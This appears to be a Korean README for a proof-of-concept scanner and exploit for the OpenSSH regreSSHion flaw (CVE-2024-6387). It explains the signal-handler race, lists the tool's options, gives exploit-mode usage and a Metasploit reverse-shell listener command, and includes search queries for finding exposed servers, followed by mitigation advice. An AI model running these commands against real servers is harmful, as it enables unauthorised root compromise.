
OpenSSH 서버의 원격 인증되지 않은 코드 실행 취약점(CVE-2024-6387)
CVE-2024-6387.py - PoC이 익스플로잇은 32비트 OpenSSH 서버에서만 작동합니다. POC가 32비트 포인터를 사용하기 때문입니다! 또한 일부 버전은 이미 패치되었으며 모든 서버가 취약한 것은 아닙니다. 테스트 완료: Kali Linux, ParrotSec, Ubuntu 22.04
OpenSSH 서버의 원격 인증되지 않은 코드 실행 취약점
CVE-2024-6387.py는 최근 발견된 regreSSHion 취약점(CVE-2024-6387)을 대상으로, 취약한 OpenSSH 버전을 실행 중인 서버를 식별하도록 설계된 가볍고 효율적인 도구입니다. 이 스크립트는 여러 IP 주소, 도메인 이름 및 CIDR 네트워크 범위를 빠르게 스캔하여 잠재적 취약점을 탐지하고 인프라를 안전하게 보호할 수 있도록 합니다.
OpenSSH 서버(sshd)에서 신호 처리기 경쟁 조건이 발견되었습니다. 클라이언트가 LoginGraceTime 초(기본값 120, 이전 OpenSSH 버전에서는 600) 내에 인증하지 않으면 sshd의 SIGALRM 핸들러가 비동기적으로 호출됩니다. 그러나 이 신호 핸들러는 syslog()와 같이 비동기-신호-안전(async-signal-safe)하지 않은 다양한 함수를 호출합니다.
기술적 세부 사항은 여기에서 확인할 수 있습니다.
이 결함은 2024년 5월 Qualys 연구원들이 발견했으며, 식별자 CVE-2024-6387이 할당되었습니다. 이는 sshd의 신호 처리기 경쟁 조건으로 인해 인증되지 않은 원격 공격자가 루트 권한으로 임의 코드를 실행할 수 있게 합니다.
"클라이언트가 LoginGraceTime 초(기본값 120) 내에 인증하지 않으면 sshd의 SIGALRM 핸들러가 비동기적으로 호출되어 async-signal-safe하지 않은 다양한 함수를 호출합니다."
"원격의 인증되지 않은 공격자는 이 결함을 이용하여 루트 권한으로 임의 코드를 실행할 수 있습니다."
요구 사항: python3 최신 버전
### 명령줄 인수
mode: 작동 모드 선택. 선택지는 scan 또는 exploit입니다.
-T, --targets: IP 주소, 도메인 이름, IP 주소가 포함된 파일 경로 또는 CIDR 네트워크 범위.
-f, --outputfile: 결과를 저장할 파일(예: result.json).
-g, --gracetimecheck: 버전 식별 후 LoginGraceTime 완화 확인을 위해 대기할 시간(초)(기본값: 120초).
-n, --nic: 네트워크 NIC(기본값: 'eth0').
-o, --output: 결과 출력 형식(선택지: 'csv', 'txt', 'json').
-p, --port: 확인 또는 익스플로잇할 포트 번호(기본값: 22).
-s, --speed: 경쟁 조건 가능성을 높이기 위한 스레드 수(기본값: 10).
-t, --timeout: 연결 시간 제한(초)(기본값: 1초).
-H, --resolve-hostnames: 호스트 이름 확인
python3 CVE-2024-6387.py scan -T example.com -p 22
python3 CVE-2024-6387.py exploit -T example.com -p 22 -n eth0
먼저 아래 명령을 실행하고({yourip} 핸들러 변경), 이후 위 명령으로 익스플로잇을 실행하면 됩니다.
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST {yourip}; set LPORT 9999; exploit -j"
도구는 가독성을 위해 콘솔에 색상 코드 출력을 제공합니다:
/product.name="OpenSSH"app="OpenSSH"product:"OpenSSH"(openssh) and labels=remote-access패치 관리: OpenSSH에 사용 가능한 패치를 신속하게 적용하는 것이 취약점 간격을 좁히는 데 중요합니다. 적시에 패치를 적용하면 알려진 익스플로잇이 시스템에서 악용되는 것을 방지하여 공격자의 기회를 줄일 수 있습니다.
향상된 접근 제어: 네트워크 기반 제어를 통해 SSH 접근을 제한하면 추가적인 방어 계층이 제공됩니다. 이 접근 방식은 SSH 연결을 승인된 네트워크나 IP 주소로만 제한하여 잠재적 공격자에 대한 노출을 최소화합니다. 방화벽 규칙 또는 VPN을 사용한 보안 접근과 같은 도구를 구현하면 이러한 제한을 효과적으로 적용할 수 있습니다.
네트워크 분할: 네트워크를 세그먼트로 나누면 잠재적 침해의 영향을 제한하는 데 도움이 됩니다. 중요한 시스템과 민감한 데이터를 네트워크의 덜 중요한 부분과 분리함으로써 공격자의 측면 이동 위험을 줄일 수 있습니다. 이러한 분할은 엄격한 접근 제어 및 모니터링과 함께 사용하여 이러한 세그먼트를 침해하려는 무단 시도를 탐지하고 대응할 수 있습니다.
침입 탐지 시스템(IDS): IDS 또는 침입 방지 시스템(IPS)을 배포하면 네트워크 트래픽과 시스템 로그를 실시간으로 모니터링할 수 있습니다. 이러한 시스템은 regreSSHion 취약점과 관련된 의심스러운 활동 및 잠재적 익스플로잇 시도를 탐지할 수 있습니다. 이러한 시스템에 의해 트리거된 경고는 심각한 손상이 발생하기 전에 신속한 조사와 완화를 가능하게 합니다.
익스플로잇 시도 모니터링: 네트워크 및 시스템 로그를 지속적으로 모니터링하는 것이 중요합니다. OpenSSH 취약점을 익스플로잇하려는 시도를 나타낼 수 있는 비정상적인 패턴이나 활동을 찾으십시오. 이러한 사전 대응 방식은 위협이 피해를 입히기 전에 식별하고 대응하는 데 도움이 됩니다.